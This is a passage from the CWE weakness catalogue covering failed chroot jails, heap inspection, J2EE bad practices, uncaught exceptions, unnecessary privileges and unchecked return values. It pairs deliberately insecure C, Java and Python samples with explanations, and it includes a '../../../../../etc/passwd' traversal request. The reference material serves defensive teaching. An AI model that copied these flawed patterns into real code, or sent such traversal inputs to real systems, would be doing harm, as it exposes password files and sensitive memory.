The chroot() system call allows a process to change its perception of the root directory of the file system. After properly invoking chroot(), a process cannot access any files outside the directory tree defined by the new root directory. Such an environment is called a chroot jail and is commonly used to prevent the possibility that a processes could be subverted and used to access unauthorized files. For instance, many FTP servers run in chroot jails to prevent an attacker who discovers a new vulnerability in the server from being able to download the password file or other sensitive files on the system.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	

Demonstrative Examples

Example 1:

Consider the following source code from a (hypothetical) FTP server:

Example Language: C *(bad)*

```
chroot("/var/ftproot");
...
fgets(filename, sizeof(filename), network);
localfile = fopen(filename, "r");
while ((len = fread(buf, 1, sizeof(buf), localfile)) != EOF) {
   fwrite(buf, 1, sizeof(buf), network);
}
fclose(localfile);
```

This code is responsible for reading a filename from the network, opening the corresponding file on the local machine, and sending the contents over the network. This code could be used to implement the FTP GET command. The FTP server calls chroot() in its initialization routines in an attempt to prevent access to files outside of /var/ftproot. But because the server does not change the current working directory by calling chdir("/"), an attacker could request the file "../../../../../etc/passwd" and obtain a copy of the system password file.

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	1853
MemberOf	C	979	SFP Secondary Cluster: Failed Chroot Jail	888	1948

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Directory Restriction
Software Fault Patterns	SFP17		Failed chroot jail

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools

Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection')

Weakness ID : 244 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.

Extended Description

When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a "heap inspection" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	517
CanPrecede	C	669	Incorrect Resource Transfer Between Spheres	1307

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Other	Read Memory Other *Be careful using vfork() and fork() in security sensitive code. The process state will not be cleaned up and will contain traces of data from past use.*	

Demonstrative Examples

Example 1:

The following code calls realloc() on a buffer containing sensitive data:

Example Language: C *(bad)*

```
cleartext_buffer = get_secret();...
cleartext_buffer = realloc(cleartext_buffer, 1024);
...
scrub_memory(cleartext_buffer, 1024);
```

There is an attempt to scrub the sensitive data from memory, but realloc() is used, so a copy of the data can still be exposed in the memory originally allocated for cleartext_buffer.

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	1853
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Heap Inspection
CERT C Secure Coding	MEM03-C		Clear sensitive information stored in reusable resources returned for reuse
Software Fault Patterns	SFP23		Exposed Data

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-245: J2EE Bad Practices: Direct Management of Connections

Weakness ID : 245 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The J2EE application directly manages connections, instead of using the container's connection management facilities.

Extended Description

The J2EE standard forbids the direct management of connections. It requires that applications use the container's resource management facilities to obtain connections to resources. Every major web application container provides pooled database connection management as part of its

resource management framework. Duplicating this functionality in an application is difficult and error prone, which is part of the reason it is forbidden under the J2EE standard.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1347

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Demonstrative Examples

Example 1:

In the following example, the class DatabaseConnection opens and manages a connection to a database for a J2EE application. The method openDatabaseConnection opens a connection to the database using a DriverManager to create the Connection object conn to the database specified in the string constant CONNECT_STRING.

Example Language: Java *(bad)*

```
public class DatabaseConnection {
    private static final String CONNECT_STRING = "jdbc:mysql://localhost:3306/mysqldb";
    private Connection conn = null;
    public DatabaseConnection() {
    }
    public void openDatabaseConnection() {
        try {
            conn = DriverManager.getConnection(CONNECT_STRING);
        } catch (SQLException ex) {...}
    }
    // Member functions for retrieving database connection and accessing database
    ...
}
```

The use of the DriverManager class to directly manage the connection to the database violates the J2EE restriction against the direct management of connections. The J2EE application should use the web application container's resource management facilities to obtain a connection to the database as shown in the following example.

Example Language: *(good)*

```
public class DatabaseConnection {
    private static final String DB_DATASRC_REF = "jdbc:mysql://localhost:3306/mysqldb";
    private Connection conn = null;
    public DatabaseConnection() {
    }
    public void openDatabaseConnection() {
        try {
```

```
            InitialContext ctx = new InitialContext();
            DataSource datasource = (DataSource) ctx.lookup(DB_DATASRC_REF);
            conn = datasource.getConnection();
        } catch (NamingException ex) {...}
        } catch (SQLException ex) {...}
    }
    // Member functions for retrieving database connection and accessing database
    ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	1853
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Bad Practices: getConnection()
Software Fault Patterns	SFP3		Use of an improper API

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-246: J2EE Bad Practices: Direct Use of Sockets

Weakness ID : 246 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The J2EE application directly uses sockets instead of using framework method calls.

Extended Description

The J2EE standard permits the use of sockets only for the purpose of communication with legacy systems when no higher-level protocol is available. Authoring your own communication protocol requires wrestling with difficult security issues.

Without significant scrutiny by a security expert, chances are good that a custom communication protocol will suffer from security problems. Many of the same issues apply to a custom implementation of a standard protocol. While there are usually more resources available that address security concerns related to implementing a standard protocol, these resources are also available to attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1347

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

Use framework method calls instead of using sockets directly.

Demonstrative Examples

Example 1:

The following example opens a socket to connect to a remote server.

Example Language: Java *(bad)*

```
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Open a socket to a remote server (bad).
    Socket sock = null;
    try {
        sock = new Socket(remoteHostname, 3000);
        // Do something with the socket.
        ...
    } catch (Exception e) {
        ...
    }
}
```

A Socket object is created directly within the Java servlet, which is a dangerous way to manage remote connections.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	1853
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Bad Practices: Sockets
Software Fault Patterns	SFP3		Use of an improper API

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-248: Uncaught Exception

Weakness ID : 248 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

An exception is thrown from a function, but it is not caught.

Extended Description

When an exception is not caught, it may cause the program to crash or expose sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355
ChildOf	C	705	Incorrect Control Flow Scoping	1359
ParentOf	B	600	Uncaught Exception in Servlet	1193

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Confidentiality	DoS: Crash, Exit, or Restart Read Application Data *An uncaught exception could cause the system to be placed in a state that could lead to a crash, exposure of sensitive information or other unintended behaviors.*	

Demonstrative Examples

Example 1:

The following example attempts to resolve a hostname.

Example Language: Java *(bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

A DNS lookup failure will cause the Servlet to throw an exception.

Example 2:

The _alloca() function allocates memory on the stack. If an allocation request is too large for the available stack space, _alloca() throws an exception. If the exception is not caught, the program will crash, potentially enabling a denial of service attack. _alloca() has been deprecated as of Microsoft Visual Studio 2005(R). It has been replaced with the more secure _alloca_s().

Example 3:

EnterCriticalSection() can raise an exception, potentially causing the program to crash. Under operating systems prior to Windows 2000, the EnterCriticalSection() function can raise an exception in low memory situations. If the exception is not caught, the program will crash, potentially enabling a denial of service attack.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	1853
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1879
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	1905
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940
MemberOf	C	1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	1987

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: Exception Handling
The CERT Oracle Secure Coding Standard for Java (2011)	ERR05-J		Do not let checked exceptions escape from a finally block
The CERT Oracle Secure Coding Standard for Java (2011)	ERR06-J		Do not throw undeclared checked exceptions
SEI CERT Perl Coding Standard	EXP31-PL	Exact	Do not suppress or ignore exceptions
Software Fault Patterns	SFP4		Unchecked Status Condition

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/

papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-250: Execution with Unnecessary Privileges

Weakness ID : 250 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.

Extended Description

New weaknesses can be exposed because running with extra privileges, such as root or Administrator, can disable the normal security checks being performed by the operating system or surrounding environment. Other pre-existing weaknesses can turn into security vulnerabilities if they occur while operating at raised privileges.

Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another. Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		269	Improper Privilege Management	589
ChildOf		657	Violation of Secure Design Principles	1287

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1015	Limit Access	1970

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
Integrity Availability Access Control	Execute Unauthorized Code or Commands Read Application Data DoS: Crash, Exit, or Restart *An attacker will be able to gain access to any resources that are allowed by the extra privileges. Common results include executing code, disabling services, and reading restricted data.*	

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and perform a login. Look for library functions and system calls that indicate when privileges are being raised or dropped. Look for accesses of resources that are restricted to normal users.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Compare binary / bytecode to application permission manifest Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker Permission Manifest Analysis

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy = Separation of Privilege

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

Phase: Implementation

Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.

Phase: Implementation

When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.

Phase: Implementation

If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else [REF-76]. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.

Phase: Operation

Phase: System Configuration

Strategy = Environment Hardening

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Demonstrative Examples

Example 1:

This code temporarily raises the program's privileges to allow creation of a new user folder.

Example Language: Python *(bad)*

```
def makeNewUserDir(username):
    if invalidUsername(username):
        #avoid CWE-22 and CWE-78
        print('Usernames cannot contain invalid characters')
        return False
    try:
        raisePrivileges()
        os.mkdir('/home/' + username)
        lowerPrivileges()
    except OSError:
        print('Unable to create new user directory for user:' + username)
        return False
    return True
```

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

Example 2:

The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

Example Language: C *(bad)*

```
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

Example 3:

This application intends to use a user's location to determine the timezone the user is in:

Example Language: Java *(bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
setTimeZone(userCurrLocation);
```

This is unnecessary use of the location API, as this information is already available using the Android Time API. Always be sure there is not another way to obtain needed information before resorting to using the location API.

Example 4:

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

Example Language: XML *(bad)*

```
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

Example Language: Java *(bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

Observed Examples

Reference	Description
CVE-2007-4217	FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4217*
CVE-2008-1877	Program runs with privileges and calls another program with the same privileges, which allows read of arbitrary files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1877*

Reference	Description
CVE-2007-5159	OS incorrectly installs a program with setuid privileges, allowing users to gain privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5159*
CVE-2008-4638	Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4638*
CVE-2008-0162	Program does not drop privileges before calling another program, allowing code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0162*
CVE-2008-0368	setuid root program allows creation of arbitrary files through command line argument. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0368*
CVE-2007-3931	Installation script installs some programs as setuid when they shouldn't be. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3931*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	1853
MemberOf	C	753	2009 Top 25 - Porous Defenses	750	1893
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	1898
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	1909
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	1912
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1926

Notes

Relationship

There is a close association with CWE-653 (Insufficient Separation of Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible.

Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category. Both CWE-272 and CWE-250 are in active use by the community. The "least privilege" phrase has multiple interpretations.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: Privilege Management
The CERT Oracle Secure Coding Standard for Java (2011)	SER09-J		Minimize privileges before deserializing from a privilege context

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
69	Target Programs with Elevated Privileges
104	Cross Zone Scripting

CAPEC-ID	Attack Pattern Name
470	Expanding Control over the Operating System from the Database

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-196]Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975 September. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-199]NIST. "Federal Desktop Core Configuration". < http://nvd.nist.gov/fdcc/index.cfm >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-252: Unchecked Return Value

Weakness ID : 252 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.

Extended Description

Two common programmer assumptions are "this function call can never fail" and "it doesn't matter if this function call fails". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	754	Improper Check for Unusual or Exceptional Conditions	1381
PeerOf	B	273	Improper Check for Dropped Privileges	601
CanPrecede	B	476	NULL Pointer Dereference	1009

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1381

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability Integrity	Unexpected State DoS: Crash, Exit, or Restart *An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.*	

Potential Mitigations

Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

Effectiveness = High

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Phase: Implementation

Ensure that you account for all possible return values from the function.

Phase: Implementation

When designing a function, make sure you return a value or throw an exception in case of an error.

Demonstrative Examples

Example 1:

Consider the following code segment:

Example Language: C *(bad)*

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in

this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C *(bad)*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
    */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

Example Language: C *(bad)*

```
buf = (char*) malloc(req_size);
